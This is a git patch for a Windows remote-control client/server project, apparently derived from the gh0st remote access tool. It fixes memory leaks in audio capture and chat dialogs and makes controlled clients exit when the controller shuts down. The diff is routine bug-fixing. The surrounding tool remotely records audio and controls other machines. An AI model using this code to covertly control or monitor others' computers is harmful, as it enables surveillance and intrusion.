From c54d75505e031859fa7177f22c0be7ccb1bd0e09 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Tue, 15 Jan 2019 21:48:37 +0800 Subject: [PATCH] =?UTF-8?q?=E4=B8=BB=E6=8E=A7=E7=AB=AF=E9=80=80=E5=87=BA?= =?UTF-8?q?=E6=97=B6=E8=A2=AB=E6=8E=A7=E7=AB=AF=E4=B9=9F=E9=80=80=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 1、修复主控端CTalkDlg的内存泄漏问题,被控端即时消息对话框置于顶层。 2、SAFE_DELETE(ContextObject->olps)有崩溃概率。改为主控端退出时先令被控端退出,就没有内存泄漏。 3、开关音频时偶有内存泄漏,waveInCallBack线程不能正常退出。 --- ReadMe.txt | 8 ++++ client/Audio.cpp | 55 +++++++++++++++------------- client/Audio.h | 1 + client/AudioManager.cpp | 3 ++ client/ClientDll.cpp | 2 +- client/ClientDll.vcxproj | 3 ++ client/ClientDll.vcxproj.filters | 5 +++ client/IOCPClient.cpp | 13 ++++++- client/IOCPClient.h | 4 +- client/KernelManager.cpp | 4 +- client/Manager.cpp | 4 +- client/Manager.h | 4 +- client/Res/ghost.ico | Bin 0 -> 4286 bytes client/Script.rc | 13 ++++++- client/TalkManager.cpp | 5 ++- client/ghost.vcxproj | 3 ++ client/ghost.vcxproj.filters | 5 +++ client/ghost.vcxproj.user | 2 +- client/resource.h | 8 ++-- server/2015Remote.sln | 5 ++- server/2015Remote/2015RemoteDlg.cpp | 21 +++++++++-- server/2015Remote/IOCPServer.cpp | 3 +- server/2015Remote/TalkDlg.cpp | 2 + server/2015Remote/TalkDlg.h | 1 + 24 files changed, 127 insertions(+), 47 deletions(-) create mode 100644 client/Res/ghost.ico diff --git a/ReadMe.txt b/ReadMe.txt index 6518030..442e847 100644 --- a/ReadMe.txt +++ b/ReadMe.txt @@ -79,3 +79,11 @@ 2、修正CFileManagerDlg的构造函数调用SHGetFileInfo和FromHandle方法,解决多次打开崩溃。 3、更新服务端zlib版本为V1.2.11。(与客户端不同,因inflate_fast 崩溃,没有采用汇编) + +2019.1.15 + +1、修复主控端CTalkDlg的内存泄漏问题,被控端即时消息对话框置于顶层。 + +2、SAFE_DELETE(ContextObject->olps)有崩溃概率。改为主控端退出时先令被控端退出,就没有内存泄漏。 + +3、开关音频时偶有内存泄漏,waveInCallBack线程不能正常退出。 diff --git a/client/Audio.cpp b/client/Audio.cpp index 539127b..f85e23c 100644 --- a/client/Audio.cpp +++ b/client/Audio.cpp @@ -14,6 +14,7 @@ CAudio::CAudio() { m_bExit = FALSE; m_hThreadCallBack = false; + m_Thread = NULL; m_bIsWaveInUsed = FALSE; m_bIsWaveOutUsed = FALSE; m_nWaveInIndex = 0; @@ -47,26 +48,7 @@ CAudio::CAudio() CAudio::~CAudio() { m_bExit = TRUE; - if (m_bIsWaveInUsed) - { - waveInStop(m_hWaveIn); - waveInReset(m_hWaveIn); - for (int i = 0; i < 2; i++) - waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR)); - waveInClose(m_hWaveIn); - WAIT (m_hThreadCallBack, 30); - if (m_hThreadCallBack) - printf("ûгɹرwaveInCallBack.\n"); - } - - for (int i = 0; i < 2; i++) - { - delete [] m_InAudioData[i]; - m_InAudioData[i] = NULL; - delete [] m_InAudioHeader[i]; - m_InAudioHeader[i] = NULL; - } if (m_hEventWaveIn) { SetEvent(m_hEventWaveIn); @@ -80,6 +62,29 @@ CAudio::~CAudio() m_hStartRecord = NULL; } + if (m_bIsWaveInUsed) + { + waveInStop(m_hWaveIn); + waveInReset(m_hWaveIn); + for (int i = 0; i < 2; i++) + waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR)); + + waveInClose(m_hWaveIn); + WAIT (m_hThreadCallBack, 30); + if (m_hThreadCallBack) + printf("ûгɹرwaveInCallBack.\n"); + TerminateThread(m_Thread, -999); + m_Thread = NULL; + } + + for (int i = 0; i < 2; i++) + { + delete [] m_InAudioData[i]; + m_InAudioData[i] = NULL; + delete [] m_InAudioHeader[i]; + m_InAudioHeader[i] = NULL; + } + if (m_bIsWaveOutUsed) { waveOutReset(m_hWaveOut); @@ -102,8 +107,7 @@ BOOL CAudio::InitializeWaveIn() MMRESULT mmResult; DWORD dwThreadID = 0; - HANDLE h = NULL; - m_hThreadCallBack = h = CreateThread(NULL, 0, + m_hThreadCallBack = m_Thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)waveInCallBack, (LPVOID)this, CREATE_SUSPENDED, &dwThreadID); @@ -114,7 +118,6 @@ BOOL CAudio::InitializeWaveIn() //m_hWaveIn ¼ if (mmResult != MMSYSERR_NOERROR) { - CloseHandle(h); return FALSE; } @@ -130,8 +133,7 @@ BOOL CAudio::InitializeWaveIn() waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR)); - ResumeThread(h); - CloseHandle(h); + ResumeThread(m_Thread); waveInStart(m_hWaveIn); //¼ m_bIsWaveInUsed = TRUE; @@ -170,11 +172,12 @@ DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam) { SetEvent(This->m_hEventWaveIn); WaitForSingleObject(This->m_hStartRecord, INFINITE); + if (This->m_bExit) + break; Sleep(1); This->m_nWaveInIndex = 1 - This->m_nWaveInIndex; - //» MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn, This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR)); @@ -194,7 +197,7 @@ DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam) std::cout<<"waveInCallBack end\n"; This->m_hThreadCallBack = false; - return 0; + return 0; } BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize) diff --git a/client/Audio.h b/client/Audio.h index c49020f..19eb955 100644 --- a/client/Audio.h +++ b/client/Audio.h @@ -26,6 +26,7 @@ public: HWAVEIN m_hWaveIn; //豸 DWORD m_nWaveInIndex; bool m_hThreadCallBack; + HANDLE m_Thread;// waveInCallBack߳ static DWORD WINAPI waveInCallBack(LPVOID lParam); //͵ض LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize); BOOL CAudio::InitializeWaveIn(); diff --git a/client/AudioManager.cpp b/client/AudioManager.cpp index 07980ee..3957f21 100644 --- a/client/AudioManager.cpp +++ b/client/AudioManager.cpp @@ -17,6 +17,8 @@ using namespace std; CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject) { + printf("new CAudioManager %x\n", this); + m_bIsWorking = FALSE; m_AudioObject = NULL; @@ -100,6 +102,7 @@ CAudioManager::~CAudioManager() delete m_AudioObject; m_AudioObject = NULL; } + printf("~CAudioManager %x\n", this); } //USB diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index b03afa5..2fb4555 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -115,7 +115,7 @@ DWORD WINAPI StartClient(LPVOID lParam) while (!g_bExit) { - DWORD dwTickCount = GetTickCount(); + DWORD dwTickCount = GetTickCount(); if (!ClientObject->ConnectServer(g_szServerIP, g_uPort)) { for (int k = 500; !g_bExit && --k; Sleep(10)); diff --git a/client/ClientDll.vcxproj b/client/ClientDll.vcxproj index 190cd41..5d209a4 100644 --- a/client/ClientDll.vcxproj +++ b/client/ClientDll.vcxproj @@ -136,6 +136,9 @@ + + + diff --git a/client/ClientDll.vcxproj.filters b/client/ClientDll.vcxproj.filters index 15423fa..df17464 100644 --- a/client/ClientDll.vcxproj.filters +++ b/client/ClientDll.vcxproj.filters @@ -174,4 +174,9 @@ 资源文件 + + + 资源文件 + + \ No newline at end of file diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index 331570e..86f5185 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -8,13 +8,15 @@ #include "zconf.h" #include "zlib.h" #include +#include "Manager.h" + using namespace std; ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// -VOID IOCPClient::setManagerCallBack(class CManager* Manager) +VOID IOCPClient::setManagerCallBack(CManager* Manager) { m_Manager = Manager; } @@ -22,6 +24,7 @@ VOID IOCPClient::setManagerCallBack(class CManager* Manager) IOCPClient::IOCPClient(bool exit_while_disconnect) { + m_Manager = NULL; WSADATA wsaData; WSAStartup(MAKEWORD(2, 2), &wsaData); @@ -154,6 +157,14 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam) }else{ //ȷվ͵OnRead,תOnRead This->OnServerReceiving(szBuffer, iReceivedLength); + if (This->m_Manager->m_bIsDead) + { + printf("****** Recv bye bye ******\n"); + // ˳ͻ + extern bool g_bExit; + g_bExit = true; + break; + } } } } diff --git a/client/IOCPClient.h b/client/IOCPClient.h index 4f598d9..50f23c3 100644 --- a/client/IOCPClient.h +++ b/client/IOCPClient.h @@ -51,14 +51,14 @@ public: char m_szPacketFlag[FLAG_LENGTH]; - VOID setManagerCallBack(class CManager* Manager); + VOID setManagerCallBack(CManager* Manager); VOID Disconnect(); VOID RunEventLoop(const BOOL &bCondition); bool IsConnected() const { return m_bConnected == TRUE; } public: - class CManager* m_Manager; + CManager* m_Manager; CRITICAL_SECTION m_cs; bool m_exit_while_disconnect; }; diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 429e7e0..de7ad06 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -16,7 +16,7 @@ CKernelManager::CKernelManager(IOCPClient* ClientObject):CManager(ClientObject) CKernelManager::~CKernelManager() { - printf("~CKernelManager \n"); + printf("~CKernelManager begin\n"); int i = 0; for (i=0;i<0x1000;i++) { @@ -30,6 +30,7 @@ CKernelManager::~CKernelManager() } } m_ulThreadCount = 0; + printf("~CKernelManager end\n"); } VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) @@ -75,6 +76,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { BYTE bToken = COMMAND_BYE; //ͷļ Common.h m_ClientObject->OnServerSending((char*)&bToken, 1); + m_bIsDead = true; //say goodbye OutputDebugStringA("======> Bye bye \n"); m_hThread[m_ulThreadCount].p = NULL; delete pNew; diff --git a/client/Manager.cpp b/client/Manager.cpp index 515d1fd..b97fd81 100644 --- a/client/Manager.cpp +++ b/client/Manager.cpp @@ -4,6 +4,7 @@ #include "stdafx.h" #include "Manager.h" +#include "IOCPClient.h" ////////////////////////////////////////////////////////////////////// // Construction/Destruction @@ -11,8 +12,9 @@ CManager::CManager(IOCPClient* ClientObject) { + m_bIsDead = false; m_ClientObject = ClientObject; - m_ClientObject->setManagerCallBack(this); + m_ClientObject->setManagerCallBack(this); m_hEventDlgOpen = CreateEvent(NULL,TRUE,FALSE,NULL); } diff --git a/client/Manager.h b/client/Manager.h index 6d19b12..7a0aceb 100644 --- a/client/Manager.h +++ b/client/Manager.h @@ -9,14 +9,12 @@ #pragma once #endif // _MSC_VER > 1000 -#include "IOCPClient.h" - - class IOCPClient; class CManager { public: + bool m_bIsDead; // bye-bye CManager(IOCPClient* ClientObject); virtual ~CManager(); diff --git a/client/Res/ghost.ico b/client/Res/ghost.ico new file mode 100644 index 0000000000000000000000000000000000000000..04a5af61a90e54423a96a90e00840643c363ebc5 GIT binary patch literal 4286 zcmb`Jc~DeG9><#)<7Ts)WK+@IxLIRuDqH@sZnkPGF@oHToZcq!!UIqcMDBB7I0j}0 z7>*fWxQ6>ikl~U;*;>|`}FVE-M@Z> zDAC{g^@LvQN!I&>tf8e1%l`<`pikOL@ART=_3u8_(~4hyulV;okx$_rS;vfA5K{tk z=ddaxQ^DsNd#!&X%Dc2OvtfcOE$UQo1LNS&6Ipw4!+tsJ1wD&8r%BnB`yUouzSAYj zsD}eLL1E$+chiQKS;S9k%ulHqxhGDkfRBGT1bi{i$zAXQE3dEOW{;E5^9rS7{v~U6 zpAx^j_jJ^9r_%n1r0y106?We(iIKIzPf`GG^f~b2FCZwT4iQ-m;EOZiAW=tA(qbHU+7!_zAWe4gl%I3()*Fk$4&&?K+t zE*V(F3U0|*ytTMeandhKbUvd<$*XvrB(>aQyC=87#3S{wshf1av1`Jzor<1Wa-sj8 z$(fo#NHS^>5?_YEr~=B)hIe2B*xn*|a)RLJCz=WtN%lO${F!#;I33g(x8&|r@(I<(>haZuKkp=bQ z<{J-Ua~cpDUyk6|5(G-l!Y?Eh-u{y1_J2 zgToI4XqZrt_6K;o_S&PG#L_-^hzcIt^RxXzvm3T$T>5TEK>4Qw3vtpXW5UKSYu{=A zGip}8S*nt})SYAv^&`7}6k#b#4 zO=`=IQ1;f_C7wW9TFtzf93$63=i{RS03CR{+OQLCDc~n`)oT0ui zY3QABGV^VC#(ciedYd6_)6AcmCehb4$)IUMfzp9TDDS@q*`*tZFK9*VnMOos)*?V6 z1Kp2sap%Lu)f>*vT<92@z}$vM`C;(%4UZ+iQzq*A7KHkHgw8voqJ12yIwn0D`sROr zp8G?&d6FS5Q_R|i31+bAI|j{Eb=McsGCq&u#vw>^s*#XW3sF=iIG+A=pJl>F5DhmE zJ{+k3tZgS@&lZF28wrkYc=*Q8jFebLmaA2Cj^(Sc%%P%djV(H6qjViUIVOK{(KSfg zCKbP}zp1EhxTOI75Bc@SXc@bY`o0Nd7dIkPCa0=Ja#lH#axNe$TaKjCcFGmO!XXTS zkvU-d#W3F(J7;g!Je<5)<51fsb>jtPmKBusY_Wx9epSQBcKuJ_w4!BVk&ylON%ajy zWc3(>i(^Zu9C(0M>VF4SW$O@1>$_1V??!QTCnRZgFmp+TFrxv%aruZ$Dn?jrzQWo$ z^oFw5k@-y;hw+t$F*a$MLRr^g*?(1C%RJ3pZmV9ze^OU5%#g|v#m@3;%tF=hB1(Ji zqO@}gwSCj5>>NX7%OGSmSKuC2i?2__!{`8=|KJkvrKN~XKQ|YdAd5G%^4F$$c0g+< z8=BjlptaK-I=eieVQ~76n*OOBs=6m%h9?yx%oA;({9Bbn3n=QCMt1Em(kgn8QrLpz zd^ufzb#U}ATyo~-3F6$}&)eyqc z>S>-k3-6#5aQN}~_9*ABx~`>)wxKlh+|m>vy6G`yfn_BS2aK|HwkHdGuW8M#0iv_+$-3S?7e= zX079|!@RV;Zs>k>W%o3)%6lNmlv5vTAvxQI_|hwgl6685Uj=qhCLFw?;mDD|$x{SZ zFA??}aKaaA#!zFK2YvdlgM?-9V@zKPdqG3jl%l2e#sV%}o3J;z--m zX8ZUes(NNn*f@%Ey3fkHrV(A#i&FumuyT)DX4^RW!O4{mI|m;1+ZbP}9;A8fxM=7%)%S}v&@dZ8D_Bk))MLmAELT%4wCc=BotqUke)A`z%)3x3*q1v0C!Iz zjvi;zd~%5TZVC-OD@)a_malj8C2x$(GNj-(2pz*0eX~s4AZ7?0z2T6>k|B zXAzxm(myz0BP$Ef>qZTY!TFw9NOPMIC`v~}+!>m0GO_27+w#7n>^=>>Q-7uLe}&bb z-(;{;Nc0Y-5Z!%A|1>(9)@SNb2LHr1M9Vs8zM>uOR-{(+Bzp;y5fG8i@Wff|&g{?+**+1k>iR#ofg$S43L&4&@yRD6e6nt2 z1tBBU5|z>&LO!K3ohRhj5+O&w7oktWJe3lCQhmxN#2kcpeJ}NA + + + diff --git a/client/ghost.vcxproj.filters b/client/ghost.vcxproj.filters index 15423fa..df17464 100644 --- a/client/ghost.vcxproj.filters +++ b/client/ghost.vcxproj.filters @@ -174,4 +174,9 @@ 资源文件 + + + 资源文件 + + \ No newline at end of file diff --git a/client/ghost.vcxproj.user b/client/ghost.vcxproj.user index e95cc70..e23900c 100644 --- a/client/ghost.vcxproj.user +++ b/client/ghost.vcxproj.user @@ -6,6 +6,6 @@ WindowsLocalDebugger - 192.168.104.248 2356 + 192.168.104.250 2356 \ No newline at end of file diff --git a/client/resource.h b/client/resource.h index ea95376..b801e4c 100644 --- a/client/resource.h +++ b/client/resource.h @@ -1,16 +1,18 @@ //{{NO_DEPENDENCIES}} -// Microsoft Developer Studio generated include file. -// Used by Script.rc +// Microsoft Visual C++ ɵİļ +// Script.rc ʹ // #define IDD_DIALOG 101 #define IDR_WAVE 102 +#define IDI_ICON1 104 +#define IDI_ICON_MAIN 104 #define IDC_EDIT_MESSAGE 1000 // Next default values for new objects // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS -#define _APS_NEXT_RESOURCE_VALUE 103 +#define _APS_NEXT_RESOURCE_VALUE 105 #define _APS_NEXT_COMMAND_VALUE 40001 #define _APS_NEXT_CONTROL_VALUE 1001 #define _APS_NEXT_SYMED_VALUE 101 diff --git a/server/2015Remote.sln b/server/2015Remote.sln index 2edfd31..098a51c 100644 --- a/server/2015Remote.sln +++ b/server/2015Remote.sln @@ -1,7 +1,10 @@  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio 2012 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "2015Remote", "2015Remote\2015Remote.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}" +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Yama", "2015Remote\2015Remote.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}" + ProjectSection(ProjectDependencies) = postProject + {3F756E52-23C2-4EE4-A184-37CF788D50A7} = {3F756E52-23C2-4EE4-A184-37CF788D50A7} + EndProjectSection EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "..\client\ClientDll.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}" EndProject diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index fc31915..16e8fdd 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -575,6 +575,15 @@ void CMy2015RemoteDlg::OnClose() Shell_NotifyIcon(NIM_DELETE, &m_Nid); #endif + BYTE bToken = COMMAND_BYE; + int n = m_CList_Online.GetItemCount(); + for(int Pos = 0; Pos < n; ++Pos) + { + CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(Pos); + m_iocpServer->OnClientPreSending(ContextObject, &bToken, sizeof(BYTE)); + } + Sleep(200); + EnterCriticalSection(&m_cs); for (std::vector::iterator iter = v_FileDlg.begin(); iter != v_FileDlg.end(); ++iter) @@ -598,7 +607,7 @@ void CMy2015RemoteDlg::OnClose() //Sleepܱⲻ˳ʱıIOCPҪظЩ ShowWindow(SW_HIDE); - Sleep(500); + Sleep(300); if (m_iocpServer!=NULL) { @@ -739,9 +748,9 @@ void CMy2015RemoteDlg::OnOnlineBuildClient() VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength) { POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); //1[pcontext client] 2 3 //1 2 - while(Pos) + while(Pos) { - int iItem = m_CList_Online.GetNextSelectedItem(Pos); + int iItem = m_CList_Online.GetNextSelectedItem(Pos); CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem); //бĿȡClientContextṹ // ͻбݰ //鿴ClientContextṹ @@ -1061,6 +1070,12 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam) { switch(p->v1) { + case TALK_DLG: + { + CTalkDlg *Dlg = (CTalkDlg*)p->hDlg; + delete Dlg; + break; + } case VIDEO_DLG: { CVideoDlg *Dlg = (CVideoDlg*)p->hDlg; diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index 68ad481..13a9829 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -98,7 +98,8 @@ IOCPServer::~IOCPServer(void) while (!m_ContextFreePoolList.IsEmpty()) { CONTEXT_OBJECT *ContextObject = m_ContextFreePoolList.RemoveHead(); - SAFE_DELETE(ContextObject->olps); + // бʣ2019.1.14 + //SAFE_DELETE(ContextObject->olps); delete ContextObject; } diff --git a/server/2015Remote/TalkDlg.cpp b/server/2015Remote/TalkDlg.cpp index b4cc2d0..f42e1fa 100644 --- a/server/2015Remote/TalkDlg.cpp +++ b/server/2015Remote/TalkDlg.cpp @@ -41,6 +41,8 @@ BOOL CTalkDlg::OnInitDialog() { CDialog::OnInitDialog(); + m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDR_MAINFRAME)); + SetIcon(m_hIcon, FALSE); BYTE bToken = COMMAND_NEXT; m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE)); diff --git a/server/2015Remote/TalkDlg.h b/server/2015Remote/TalkDlg.h index 52143a6..454538d 100644 --- a/server/2015Remote/TalkDlg.h +++ b/server/2015Remote/TalkDlg.h @@ -16,6 +16,7 @@ public: enum { IDD = IDD_DIALOG_TALK }; CONTEXT_OBJECT* m_ContextObject; IOCPServer* m_iocpServer; + HICON m_hIcon; protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧